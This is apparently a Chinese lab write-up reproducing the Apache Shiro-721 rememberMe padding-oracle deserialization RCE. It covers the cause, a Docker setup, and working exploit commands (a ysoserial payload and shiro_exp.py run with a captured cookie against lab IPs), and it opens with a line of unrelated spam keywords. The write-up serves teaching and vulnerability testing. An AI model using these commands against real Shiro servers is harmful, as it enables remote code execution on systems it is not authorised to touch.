网站建设招标合同要求,无线wifi图片大全,wordpress网站添加备案号,开发app需要钱吗漏洞原理
Shiro rememberMe 反序列化远程代码执行漏洞
由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题#xff0c;用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段#xff0c;并重新请求网站#xff0c;进…漏洞原理
Shiro rememberMe 反序列化远程代码执行漏洞
由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段并重新请求网站进行反序列化攻击最终导致任意代码执行
rememberMe cookie 通过 AES-128-CBC 模式加密易受到 Padding Oracle 攻击。可以通过结合有效的 rememberMe cookie 作为 Padding Oracle 攻击的前缀然后精⼼制作 rememberMe 来进⾏反序列化攻击。
Tip在1.2.4版本后shiro已经更换 AES-CBC 为 AES-GCM 无法再通过 Padding Oracle 遍历 key 。
影响版本 Apache Shiro 1.4.1需要一个合法的登录账号基于Padding Oracle attack来实现的攻击 通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进而实现rememberMe的内容伪造。下面会有单独的篇幅讲Padding Oracle Attack。
shiro-721对cookie中rememberMe的值的解析过程 特征判断
由于漏洞利用需要一个合法的登录账号这里利用账号正常登陆获取一个有效的rememberMe cookie 并记录下这个rememberMe的值
docker环境搭建
方法一
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721方法二
docker pull vulfocus/shiro-721docker run -d -p 8080:8080 vulfocus/shiro-721漏洞复现
先使用合法账户登陆记得勾选remember Me然后使用burp抓包获取cookie 获取到cookie 将其中的remember Me字段复制下来输入到工具中进行利用 使用ysoserial工具生成payload java -jar ysoserial.jar CommonsBeanutils1 touch /tmp/123 payload.class
#touch /tmp/123 在tmp目录写入123使用工具生成payload 脚本链接:https://github.com/wuppp/shiro_rce_exp python shiro_exp.py http://192.168.88.130:8080 [rememberMeCookie] payload.class python shiro_exp.py http://192.168.171.137:8080/login.jsp LIO2vKStP5R4NNTLY0Bgfrz3sacQHB1BfrOheCVAHeFAGtRsX9JW24tCvcedluOxZwFPoOSs7/tA0fKUJ9ylRjLIT87NIN1smV22TVqdQ4vSJXB42IQCTV1mDA2CwlDpoeem6M4qY2SeB4JwIpViUwNJoOjNfWeX3/lLZHkoCnsR5TCm6GrHyhdaDZYK0BAJNXFQ9658sJGAF1fztcfR0pYD9RtX26iLW73D0pd3x6DhPQB7euA4uhUZ3Ue8RoOK3jTqxHC3U5n0DIMpc1RWlHVzUyHjejFAPXCReV7ds/dWrb5XlgP9/7ajmi26dqr2apVaIhEMC5SP4X4YQZw3wS6w76pD1vT8JSlG6lh4tIRuS4/gbUzX8GhmPCtw2MBMS/xZ2FsjvTPexdPLEf114qo4152aNNcXul4zN3czLlveotlqd5E/WyhhbBA2EFkPewnsq2g2sS53s57H9BcWhXHkcwf0cIrkOXAn9a9xfkkm1HH9 payload.class此 exp 爆破时间较长建议使用 ysoserial 生成较短的 payload 验证eg: ping 、 touch /tmp/success, etc约 1 个多小时可生成正确的 rememberme cookie生成成功后将自动停止运行。 最终会生成恶意的rememberMe cookie我们使用这个cookie替换原数据包中的cookie。然后登陆进服务器看会发现/tmp目录下被创建了一个123文件。 漏洞利用成功